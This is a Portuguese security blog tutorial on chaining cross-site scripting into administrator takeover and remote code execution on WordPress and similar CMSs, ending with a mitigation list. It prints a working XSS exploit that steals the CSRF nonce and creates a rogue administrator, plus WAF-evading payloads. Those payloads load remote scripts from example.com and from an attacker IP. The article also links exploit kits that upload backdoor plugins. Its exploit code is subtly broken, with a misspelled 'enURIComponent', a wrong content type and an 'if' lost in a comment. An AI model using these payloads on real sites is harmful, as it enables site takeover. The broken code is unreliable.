Elevando Vulnerabilidades Baixas para Críticas em CMSs e Plataformas de E-Commerces

Artigo

Cross-site Scripting (XSS) é uma das vulnerabilidades mais comuns encontradas em ataques à aplicações web. Devido a sua ampla presença na maioria das aplicações, muitas vezes seu potencial é subestimado - limitando-se apenas a Sessions Hijacking, Open Redirects, Phishings, entre outros. No entanto, em certos cenários, é possível comprometer totalmente os sistemas ao explorar essa falha de maneira eficaz.

Este artigo demonstra o real potencial do XSS em plataformas de Content Management System (CMS) e E-Commerce, além de explorar como é possível alcançar a Execução Remota de Código (RCE) por meio de XSS nesses sistemas.

Antes de prosseguirmos, é fundamental compreender os conceitos básicos de XSS, atributos de cookies (HttpOnly, SameSite), Same-Origin Policy (SOP), Cross-Origin Resource Sharing (CORS), Tokens CSRF, entre outros.

O que é Cross-Site Scripting (XSS)

Cross-Site Scripting é uma vulnerabilidade que permite a inserção de códigos JavaScript em uma aplicação. Esses códigos são interpretados pelo navegador do usuário, possibilitando o acesso a informações da aplicação vulnerável ao qual o usuário está navegando (cookies de sessão, credenciais armazenadas, etc). Esta vulnerabilidade permite que um atacante execute ações em nome de um usuário legítimo - contornando, portanto, as políticas de Same-Origin (SOP) implementadas nos navegadores web.

Figura 1 - Processo de exploração de uma vulnerabilidade de Cross-Site Scripting.

O que é Same-Origin Policy (SOP)?

Same-Origin Policy é um mecanismo de defesa implementado em todos os navegadores por padrão. Sua função é não permitir a LEITURA de requisições enviadas Cross-Origin, ou seja, requisições que não sejam da mesma origem.

Figura 2 - Demonstração de funcionamento do Same-Origin Policy.

No contexto da web, uma origem pode ser resumida da seguinte forma:

Referência: developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy

Para que um site seja considerado Same-Origin, seus schemas HTTP precisam ser idênticos, isto é, devem possuir a mesma estrutura de (SCHEMA://HOST:PORT/), tendo flexibilidade apenas no quesito de diretórios e arquivos.

Como mencionado anteriormente, o SOP bloqueia apenas a leitura das respostas de requisições de origens diferentes (Cross-Origin). Isso significa que ainda é viável enviar requisições autenticadas utilizando JavaScript, fazendo-se passar pelo usuário legítimo através de um site de Origem Diferente - uma técnica conhecida como Cross-Site Request Forgery (CSRF).

Cross-Site Request Forgery (CSRF)

Cross-Site Request Forgery envolve a execução de ações em nome do usuário por meio de códigos HTML ou JavaScript através de origens diferentes (Cross-Origin). No entanto, como veremos, existem diversos mecanismos que podem bloquear a exploração do CSRF. Apesar disso, este ataque é extremamente poderoso e, em certos cenários, pode ser mais prejudicial do que um XSS, já que não requer uma falha no código da aplicação em si. Além disso, é facilmente disseminado entre os usuários simplesmente ao acessar um simples site.

Figura 3 - Processo de exploração de uma vulnerabilidade de Cross-Site Request Forgery.

SameSite Cookie Attribute

SameSite é um mecanismo de segurança dos cookies que sua principal funcionalidade é bloquear ou permitir o envio de cookies a partir de requisições de origens diferentes (Cross-Origin). Esse atributo possui 3 categorias, sendo elas:

None

Permite o envio de cookies de origens diferentes tanto em requisições GET quanto em requisições POST. Caso os atributos de cookies do seu site estiverem configurados com o atributo SameSite: None e um usuário com uma sessão estabelecida no site alvo visitar outro site malicioso de origem diferente (Cross-Origin), o site malicioso pode realizar requisições GET e POST para o site alvo em nome da vítima através de JavaScript.

Lax

Permite o envio de cookies de origens diferentes apenas em requisições que utilizam o método GET. Se os atributos de cookies do seu site estiverem configurados com o atributo SameSite: Lax, ou caso o atributo SameSite não seja especificado pelo desenvolvedor da aplicação durante a atribuição do cookie, o cookie automaticamente recebe o atributo SameSite: Lax em navegadores Chrome.

Nesse cenário, se um usuário com uma sessão estabelecida no site alvo visitar outro site malicioso de origem diferente (Cross-Origin), o site malicioso pode realizar requisições GET para o site alvo em nome da vítima através de JavaScript.

Strict

Bloqueia completamente o envio de cookies de origens diferentes (Cross-Origin), sendo o cenário mais restritivo.

Figura 4 - Demonstração do funcionamento do atributo de cookie SameSite.

No entanto, como mencionado anteriormente, o site malicioso não pode visualizar as respostas de suas requisições devido ao mecanismo de SOP. Para contornar essa situação, existe um mecanismo de configuração do SOP chamado Cross-Origin Resource Sharing (CORS). Se configurado de maneira incorreta, CORS pode invalidar o SOP, tornando-se um vetor de exploração.

Cross-Origin Resource Sharing (CORS)

Cross-Origin Resource Sharing é um mecanismo de configuração do SOP. Em outras palavras, o CORS permite que o desenvolvedor "enfraqueça" as regras restritivas do SOP. Ao questionar o porquê de um desenvolvedor optar por essa configuração, chega-se a uma resposta simples: alguns serviços, como provedores de APIs necessitam que o cliente (usuário) receba e veja a resposta de sua requisição e isso só é viável através do CORS.

O CORS possue vários cabeçalhos (headers) de configuração:

• Access-Control-Allow-Origin;
• Access-Control-Expose-Headers;
• Access-Control-Max-Age;
• Access-Control-Allow-Credentials;
• Access-Control-Allow-Methods;
• Access-Control-Allow-Headers;

Porém, os mais utilizados são:

• Access-Control-Allow-Origin;
• Access-Control-Allow-Credentials;

O header Access-Control-Allow-Origin é o componente essencial do CORS que determina quais sites Cross-Origin possuem permissão para acessar as respostas das requisições. No entanto, por padrão, ao apenas especificar o header Access-Control-Allow-Origin, as respostas das requisições são retornadas de forma não autenticada.

Isso significa que, mesmo o usuário realizando requisições de forma autenticada Cross-Origin - seja através dos atributos SameSite “Lax” ou “None”, a resposta da requisição enviada de volta para o usuário será tratada como se o usuário não estivesse autenticado. No entanto, é possível contornar esse cenário através do header Access Control-Allow-Credentials.

O header Access-Control-Allow-Credentials é um componente do CORS que determina se as respostas das requisições Cross-Origin, especificadas pelo header Access-Control-Allow-Origin, serão enviadas ao usuário de forma autenticada ou não autenticada. Este header possui dois atributos: true ou false.

Quando o atributo é definido como true, as respostas das requisições são enviadas ao usuário de forma autenticada. Por outro lado, quando o atributo é definido como false, ou caso o header Access-Control-Allow Credential não seja especificado, as respostas das requisições são retornadas ao usuário de forma não autenticada.

Figura 5 - Demonstração da exploração de CORS mal configurado.

CSRF Tokens

CSRF Tokens são valores randômicos gerados e validados pelo servidor a cada requisição enviada para a aplicação. Sua principal função é mitigar os ataques de CSRF, uma vez que, através de um CSRF, não é viável obter a resposta da aplicação - exceto em casos de má configuração do CORS.

Figura 6 - Demonstração de como funcionam os tokens CSRF.

HttpOnly Cookie Attribute

O atributo HttpOnly é um mecanismo crucial que impede a leitura do valor dos cookies de sessão, mesmo quando o script está sendo executado na mesma origem (Same-Origin) ou em origens diferentes (Cross-Origin). Embora isso seja eficaz em proteger os cookies de sessão, ainda é viável realizar requisições em nome do usuário.

XSS to RCE

A maioria dos CMSs e plataformas de E-Commerces implementam mecanismos de defesa robustos contra ataques de CSRF. No entanto, muitas vezes, não é aplicado o mesmo nível de proteção ou pode ser difícil mitigar os ataques de XSS.

O perigo reside no fato de que compreendemos a estrutura dessas aplicações, incluindo sua construção interna, fluxo de requisições, entre outros aspectos, especialmente devido ao fato de grande parte serem de código aberto (Open Source).

Com esse conhecimento em mãos e a capacidade de executar JavaScript na mesma origem (Same-Origin) da aplicação, seja através de plugins, temas vulneráveis ou falhas no núcleo da aplicação (core), é possível causar impactos significativos, resultando em Execução Remota de Códigos (RCE) nesses sistemas. Tendo como grande aliado a execução de JavaScript na mesma origem (Same-Origin), contornando os bloqueios de CSRF Tokens, Same-Origin Policy, SameSite, entre outros, tendo apenas como um desafio em alguns casos o atributo HttpOnly. Todavia, mesmo não possuindo acesso aos cookies de sessão do usuário, podemos realizar requisições normalmente para a aplicação, passando-se pelo usuário, mesmo na presença do atributo HttpOnly.

Essas possibilidades de Execução Remota de Códigos são agravadas pelo fato de que esses sistemas possuem diversas interfaces de gerenciamento tanto a nível de aplicação quanto a nível de servidor. Embora muitas empresas não considerem isso um risco, pois essas interfaces são geralmente acessadas apenas com privilégios elevados (usuários administrativos), na prática isso cria cenários perfeitos para o comprometimento desses servidores através de falhas como XSS. A complexidade desses sistemas oferece várias oportunidades para explorar e criar ataques sofisticados.

Desenvolvendo os exploits

O primeiro passo é escolher um serviço - esse serviço pode ser um projeto de código aberto (Open Source) ou até mesmo sistemas privados. Muitas vezes, ao ler os arquivos JavaScript da aplicação, é possível entender seu funcionamento, suas funcionalidades e características interessantes e, a partir disso, encontrar alguma lógica ou política de segurança vulnerável e desenvolver exploits para explorá-las.

A minha experiência profissional em desenvolvimento de exploits para serviços privados (dos quais não tenho permissão para divulgá-los), me permitiu aprofundar no entendimento das lógicas da aplicação que são executadas de forma autenticada a partir da leitura de arquivos JavaScript, e escrever exploits que levassem a RCE explorando vulnerabilidades de XSS*. Entender a lógica da aplicação por meio de códigos JavaScript pode ser de suma importância em determinados ambientes - aqui pode estar uma mina de ouro! - Hudson Nowak.*

Neste exemplo, vamos criar um exploit para o Wordpress. Antes de tudo, precisamos de uma instância do Wordpress atualizada e estável, que funcione sem problemas. Durante minhas pesquisas, utilizei as imagens Docker da Bitnami, que também vamos usar neste exemplo.

Pode-se baixar a última imagem Docker do Wordpress disponível através do site da Bitnami (https://bitnami.com/stack/wordpress/containers), ou diretamente através do comando:

curl -sSL https://raw.githubusercontent.com/bitnami/containers/main/bitnami/wordpress/docker-compose.yml > docker-compose.yml

Após realizar o download do arquivo docker-compose.yml, utiliza-se o comando docker-compose up para implementar a aplicação.

Figura 7 - Implementando a aplicação **docker Wordpress ****Bitnami.

Após a implementação da aplicação, é preciso autenticar usando um usuário com permissões para realizar operações administrativas. No caso do Wordpress, este usuário seria um administrador ou um editor com altos privilégios administrativos. As credenciais padrão de administrador do Wordpress Bitnami são.

Username: user
Password: bitnami

Após a autenticação é crucial navegar pelo sistema e procurar por funcionalidades interessantes que possam conceder Execução Remota de Código ou acessos privilegiados. No caso do Wordpress, é possível alcançar esse objetivo explorando plugins personalizados instalados que possam conter vulnerabilidades autenticadas, alterar os privilégios do nosso usuário, adicionar uma nova conta de usuário com privilégios administrativos, editar plugins built-in do próprio Wordpress, editar temas built-in do Wordpress, explorar vulnerabilidades autenticadas no próprio core do Wordpress, entre outras possibilidades.

Para este exemplo, vamos criar uma conta com privilégios administrativos. A partir dessa conta, poderemos navegar pela aplicação através da interface gráfica em busca de outros vetores que nos permitam ampliar nossos acessos e obter RCE no servidor.

Em nosso ambiente de laboratório Docker do Wordpress, estamos autenticados como o usuário administrador (user), onde iremos explorar as funcionalidades de adicionar novos usuários no menu "Users".

Figura 8 - Página principal administrativa do Wordpress.

A abordagem utilizada se resume em realizar todo o fluxo de uma funcionalidade administrativa interessante, capturando as requisições feitas à aplicação e analisando cada uma detalhadamente.

Para fins demonstrativos, aplicamos a abordagem em questão à funcionalidade de adicionar usuários:

(1) Criando um novo usuário com privilégios de administrador na aplicação.

Figura 9 - Funcionalidade administrativa de criação de contas do Wordpress.

(2) Confirmando que o usuário foi adicionado com sucesso.

Figura 10 - Usuário “nowak” criado com sucesso.

Após completar o processo de adicionar um usuário, pode-se revisar as requisições realizadas durante esse processo. As requisições marcadas em vermelho são aquelas necessárias para aprofundar e replicar seus comportamentos no exploit.

Figura 11 - Fluxo de requisições realizadas.

A primeira requisição (324) realiza um GET para o arquivo /wp-admin/user-new.php e obtém o CSRF Token 50bee24cef. É importante guardar este token, já que ele será utilizado nas próximas requisições.

Figura 12 - Token CSRF identificado ao realizar uma requisição para “/wp-admin/user-new.php”.

Através do navegador, o usuário preenche os campos com as informações da conta que deseja adicionar. Em seguida, uma requisição é feita para a aplicação contendo esses dados. No exemplo em questão é realizada uma requisição POST (335) para o arquivo /wp-admin/user-new.php contendo os parâmetros das informações do usuário (user_login, email, pass1, pass2, role e pw_weak) juntamente com o CSRF Token _wpnonce_create-user.

Figura 13 - Requisição de criação de contas realizada.

No entanto, é importante estar atento ao realizar novamente a mesma requisição para a aplicação, pois é possível que se obtenha uma resposta completamente diferente. Essa situação pode ocorrer por dois motivos: o CSRF Token expirou ou algum usuário cadastrado já se registrou com as mesmas informações. No primeiro caso, é necessário gerar um novo token, realizando uma nova requisição GET para /wp-admin/user-new.php. No segundo, é preciso refazer o cadastro do usuário com outras informações para que não haja nenhum conflito de informações e, assim, garantir o acesso.

Figura 14 - Resposta diferente retornada pela aplicação.

Através da funcionalidade de renderização de HTML do Burp Suite render, é viável observar que já existe um usuário registrado na aplicação com o mesmo e-mail e nome de usuário. É fundamental estar atento a esse tipo de situação.

Figura 15 - Confirmando que ocorreram erros durante a criação da conta.

Aqui, identifica-se um padrão. Se a aplicação responde com o código de status 302 Found e retorna um *Location* para users.php?update=add&id={ID}, significa que o usuário foi adicionado com sucesso. Por outro lado, se a aplicação responde com o código de status 200 OK e retorna um código HTML contendo a string *already registered*, indica que ocorreu algum erro e o usuário não foi adicionado.

Na última etapa do fluxo para adicionar um usuário na aplicação, é realizada uma requisição GET para o arquivo /wp-admin/users.php?update=add&id={ID} (336) - conforme especificado pela aplicação no cabeçalho *Location*. Ao usar novamente a funcionalidade de renderização de HTML do Burp Suite, confirma-se que o usuário foi adicionado com sucesso. É importante para a eficácia do exploit utilizar dois fatores de checagem para que seja possível verificar se o usuário foi realmente adicionado. Primeiro, através da mensagem *New user created*. Segundo, pesquisando pelo nome ou e-mail do usuário adicionado - através de uma requisição para o arquivo /wp admin/users.php. Este último é o mais confiável.

Figura 16 - Usuário “nowak” criado com sucesso.

Até aqui, foi realizada uma sequência de quatro passos:

1. Realizar uma requisição GET para o arquivo /wp-admin/user new.php e extrair o CSRF Token de sua resposta HTML;
2. Realizar uma requisição POST para o arquivo /wp admin/user-new.php, passando como parâmetros o CSRF Token extraído _wp_nonce_create-user e as informações da conta de usuário a ser adicionadas na aplicação (user_login, email, pass1, pass2, role, pw_weak);
3. Após receber a resposta da requisição POST, verificar se obteve o código de status 302 Found, e se o cabeçalho *Location* contém a string /wp-admin/users.php?update=add&id={ID};
4. Acessar a URL do *Location* e verificar se as informações do usuário foram adicionadas com sucesso, procurando pela string New User created ou, de forma mais confiável, pelas informações do usuário adicionado, como username ou e-mail.

Após entender o fluxo de como ocorre a criação de um usuário e os possíveis problemas que possam surgir durante esse processo, a próxima etapa é a elaboração do exploit. Pode-se utilizar qualquer método de realização e manipulação de requisições (Fetch, XMLHTTPRequest, JQuery, Axios, etc.). Neste exemplo, o método a ser utilizado é o XMLHTTPRequest.

Como indicado a seguir, em apenas 28 linhas de código, realizou-se toda a cadeia de ataque. É importante notar que este código possui somente valor demonstrativo, não possuindo tratamento de erros e/ou callbacks para informar se a exploração foi bem-sucedida. Em um cenário de aplicação real, é necessário escrever um exploit que contemplam as possibilidades de erros e bloqueios.

Figura 17 - Código contendo toda a cadeia de ataque para a criação de uma conta.

Trecho de Código

// Make a GET request to "/wp-admin/user-new.php". 
var stage1 = new XMLHttpRequest(); 

stage1.open("GET", "https://wordpress.local/wp-admin/user-new.php", false); 
stage1.send(); 

// Grep the CSRF Token value. 
var csrf_token = stage1.responseText.match(/id="_wpnonce_create-user"[\s\S]*?value="(.*?)"/)[1]; 

// Make a POST request to "/wp-admin/user-new.php". 
var stage2 = new XMLHttpRequest(); 

stage2.open("POST", "https://wordpress.local/wp-admin/user-new.php", false);
stage2.setRequestHeader('Content-Type', 'application/x-www-form-urlend');
stage2.send("action=createuser&_wpnonce_create-user=" + 

csrf_token + "&_wp_http_referer=%2Fwp-admin%2Fuser-new.php&user_login=" +  "nowak0x01" + "&email=" + 
 enURIComponent("nowak0x01@wordpress.local") + "&first_name=" + 
 "" + "&last_name=" + 
 "" + "&url=&pass1=" + 
 enURIComponent("P0C#$u37") + "&pass2=" + 
 enURIComponent("P0C#$u37") + "&pw_weak=on&role=" + 
 "administrator" + "&createuser=Add%2BNew%2BUser");
  
// Check in the HTML if it contains the username of our user "nowak0x01". if (stage2.responseText.match("nowak0x01")[0]) { 
console.log("The user has been successfully created!");

Um arquivo searcher.php no diretório do Wordpress vulnerável a Cross-Site Scripting foi criado para fins demonstrativos. Entretanto, em um cenário real, é necessário explorar uma vulnerabilidade XSS genuína.

Figura 18 - Criando o “searcher.php” vulnerável a Cross-Site Scripting.

Figura 19 - Confirmando que o arquivo encontra-se vulnerável.

A partir do arquivo searcher.php criado vulnerável a XSS, é preciso importar o exploit. Apesar dessa importação poder ser feita de diversas maneiras, a mais comum é através do trecho de código: <script src="..."></script>

No entanto, essa abordagem é comumente bloqueada por Web Application Firewalls (WAFs). Deste modo, pode-se usar trechos de códigos menos conhecidos para importar arquivos JavaScript e que possuem mais chances de contornar os cenários de WAFs.

<image src/onerror=import('http:example.com')>

<image src/onerror=s=document.createElement('script');s.src='http://example.com/X.js';document.body.appendChild(s)>

No caso de aplicações de utilizam jQuery, é possível chamar um método de importação de outros scripts como:

$.getScript('http:example.com') 

Após elencar outros modos de importar scripts, pode-se importar o exploit AddUser.js em qualquer domínio, VPS, através da própria aplicação via vulnerabilidades de File Upload, entre outras técnicas.

Nesta demonstração, uma instância de servidor VPS da GCP foi utilizada para hospedar o arquivo AddUser.js.

Se a aplicação estiver usando HTTPS, o servidor onde o exploit está hospedado também precisa utilizar HTTPS, caso contrário o arquivo não será importando, e o servidor responderá com uma mensagem de erro**.**

Figura 20 - Mensagem de erro retornada.

Após hospedar o exploit, é preciso importá-lo na aplicação através do arquivo searcher.php vulnerável a XSS. Aqui foi utilizada a abordagem tradicional, injetando um payload simples na requisição:

https://wordpress.local/searcher.php?search=<script src="https://34.125.48.153/AddUser.js">

Onde, após injetar o payload, a aplicação requisita o arquivo “AddUser.js” hospedado no servidor.

Figura 21 - Exploit requisitado no servidor do atacante.

Após um usuário com sessão administrativa no Wordpress acessar a URL vulnerável a XSS https://wordpress.local/searcher.php?search=<script src="https://34.125.48.153/AddUser.js">, a cadeia de ataque é executada. Como resultado, têm-se as requisições necessárias para criar o usuário nowak0x01 administrador na aplicação.

Figura 22 - Mensagem de sucesso da exploração retornada.

É possível perceber que o usuário foi adicionado com sucesso à aplicação.

Figura 23 - Confirmando que o usuário “nowak0x01” foi criado com sucesso.

Em seguida, pode-se realizar login na aplicação com o novo usuário adicionado e assim explorar outros vetores de Execução Remota e Códigos ou outros tipos de funcionalidade.

Figura 24 - Autenticando na aplicação com o usuário novo criado.

Ao adicionar um usuário em um WordPress (ou qualquer outro sistema), especialmente com privilégios de administrador, levantam-se suspeitas em relação a autenticidade da nova conta.

É neste ponto que o XSS entra em ação - e é necessário ser criativo! Sabe-se que o desenvolvimento de exploits pode demandar tempo, ainda mais se for preciso escrever um exploit que demonstre todo o impacto que uma vulnerabilidade pode ter no cenário de cada cliente. Por esse motivo, atuei no desenvolvimento de exploits para os CMSs e plataformas de E-Commerces mais populares e amplamente utilizados. Estes exploits incluem diversos módulos, tais como:

• (Privilege Escalation) - Creates an administrator user on the application;
• (RCE) - Built-In Plugin’s Edit;
• (RCE) - Built-In Theme’s Edit;
• (RCE) - Plugin Upload - Upload your custom plugin (backdoor) to the application;
• (Custom) - Custom Exploits for Third-Party Plugins/Themes.

Wordpress (WPXStrike) - https://github.com/nowak0x01/WPXStrike

Joomla (JoomSploit) - https://github.com/nowak0x01/JoomSploit

Drupal (Drupalwned) - https://github.com/nowak0x01/Drupalwned

PrestaShop (PrestaXSRF) - https://github.com/nowak0x01/PrestaXSRF

Como se prevenir contra esse tipo de ataque?

Restringir Funcionalidades Administrativas

• Desativar Modificações via Painel: Desabilite o acesso ao gerenciamento de plugins, temas e atualizações pelo painel de administração, preferindo a gestão via Command Line Interface (CLI) em ambientes seguros.
• Gerenciamento Seguro de Configurações: Utilize permissões de arquivo adequadas (chmod 640 para wp-config.php) para evitar edições não autorizadas.

Controle de Acessos e Privilégios

• Princípio do Menor Privilégio: Crie contas com permissões limitadas para tarefas diárias, reservando contas administrativas apenas para operações críticas.
• Autenticação Multifator (MFA): Implemente MFA para contas administrativas, reduzindo o risco em caso de credenciais comprometidas.

Fortalecimento da Entrada de Dados

• Validação e Saneamento: Use funções nativas para sanitização de entradas. No WordPress, utilize esc_html(), esc_attr(), e wp_kses() para filtrar conteúdo.
• Content Security Policy (CSP): Configure cabeçalhos CSP para restringir fontes de scripts: Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';

Proteção Contra Bots e ataques automatizados

• CAPTCHA Avançado: Implemente soluções de CAPTCHA robustas, como reCAPTCHA v3, que avalia o comportamento do usuário.
• Rate Limiting: Configure limites de requisições por IP para evitar ataques de força bruta e exploração automatizada.
• Web Application Firewall: Opte por implementar uma camada extra com um WAF de confiança e bem avaliado no mercado.

Extensões e Plugins de Terceiros

• Verificação de Maturidade e Reputação: Antes de instalar plugins ou extensões, avalie sua maturidade, histórico de atualizações, número de downloads e avaliações da comunidade.
• Confiabilidade do Desenvolvedor: Prefira extensões de desenvolvedores confiáveis, verificando se fazem parte de organizações reconhecidas ou têm um bom histórico de segurança.

Monitoramento

• Logs e Auditoria: Ative logs detalhados para atividades administrativas e falhas de login. Use ferramentas como o WP Activity Log para WordPress.

A partir do que foi demonstrado, obter Execução Remota de Código através de um Cross-Site Scripting não é uma tarefa difícil - embora seja trabalhosa, já que demanda tempo para o estudo de cada cenário e construção personalizada a partir da compreensão dos aspectos levantados durante o estudo. Espero que tenham gostado do POST e compreendido a lógica por trás da técnica, como funciona a cadeia de ataques e como utilizar esse método para criar novos exploits em diferentes serviços.